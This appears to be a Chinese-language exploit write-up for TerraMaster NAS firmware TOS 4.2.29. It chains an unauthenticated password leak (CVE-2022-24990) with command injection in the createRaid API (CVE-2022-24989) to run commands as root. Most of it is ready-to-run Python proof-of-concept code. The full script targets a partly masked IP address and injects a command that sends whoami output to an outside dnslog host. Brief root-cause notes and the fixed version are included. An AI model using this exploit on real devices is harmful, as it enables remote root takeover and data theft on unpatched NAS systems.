铁威马 NAS 设备 TOS 版本 4.2.29 的上以 root 身份实现未经身份验证的远程命令执行。
注:4.2.31 修复
RCE组成为:未授权信息泄露+命令执行
未授权信息泄露——-CVE-2022-24990
poc
def payload1(url):
html = '/module/api.php?mobile/webNasIPS'
urls = url + html
header = {
"User-Agent": "TNAS"
}
res = requests.get(urls, headers=header, proxies=proxies)
xx = res.text
pd = re.findall('PWD:(.*?)\\\\nSAT:', xx, re.S)
print(pd[0])
漏洞原因:
webNasIPS 是唯一同时在 mobile.class.php 的构造函数的 $notCheck 和 $notHeader 数组中的函数,它可以有效地通过两个检查点,导致意外情况出现,大量未授权数据泄露。
且返回 TOS 固件版本、默认网关接口的 IP 和 mac 地址、正在运行的服务及其绑定地址和端口,以及一个变量$PWD的密码
命令注入—CVE-2022-24989
poc
def payload2(pd, cmd):
html = '/module/api.php?mobile/createRaid'
urls = url + html
header = {
"User-Agent": "TNAS",
"AUTHORIZATION": pd,
"TIMESTAMP": "XXXXX",
"SIGNATURE": "473a6d90ede9392eebd8a7995a0471fe"
}
cmds = ";" + cmd + ";"
data = {
'raidtype': cmds,
'diskstring': '1646732740'
}
res = requests.post(urls, data=data, headers=header, proxies=proxies, verify=False)
print(f"ZT: {res.status_code}")
漏洞原因:
在mobile.class.php,中
通过HTTP_USER_AGENT 为判断TNAS,为本地请求,直接修改就行。
通过HTTP_AUTHORIZATION判断是否认证通过,由于前面获得密码,直接带入即可。
在createRaid函数中
接受post接受参数:raidtype和diskstring。
然后给volume_make_from_disks调用
在volume_make_from_disks函数中
将数据组合后交给_backexec处理
_backexec函数在func.class.php中
数据直接传递进入,没有过滤,因此容易受到攻击
完整POC
POC
import requests
import re
requests.packages.urllib3.disable_warnings()
proxies = {
'http': 'http://127.0.0.1:7890',
'https': 'http://127.0.0.1:7890'
}
def payload1(url):
html = '/module/api.php?mobile/webNasIPS'
urls = url + html
header = {
"User-Agent": "TNAS"
}
res = requests.get(urls, headers=header, proxies=proxies)
xx = res.text
pd = re.findall('PWD:(.*?)\\\\nSAT:', xx, re.S)
return pd[0]
def payload2(pd, cmd):
html = '/module/api.php?mobile/createRaid'
urls = url + html
header = {
"User-Agent": "TNAS",
"AUTHORIZATION": pd,
"TIMESTAMP": "XXXXX",
"SIGNATURE": "473a6d90ede9392eebd8a7995a0471fe"
}
cmds = ";" + cmd + ";"
data = {
'raidtype': cmds,
'diskstring': '1646732740'
}
res = requests.post(urls, data=data, headers=header, proxies=proxies, verify=False)
print(f"ZT: {res.status_code}")
if __name__ == "__main__":
cmd = 'ping -c 1 `whoami`.adxxx38.dnslog.cn'
url = 'http://216.1xxx.xxx8.69:8181/'
print(f"MB: {url}")
print(f"CMD: {cmd}")
try:
pd = payload1(url)
payload2(pd, cmd)
except:
print("error")
效果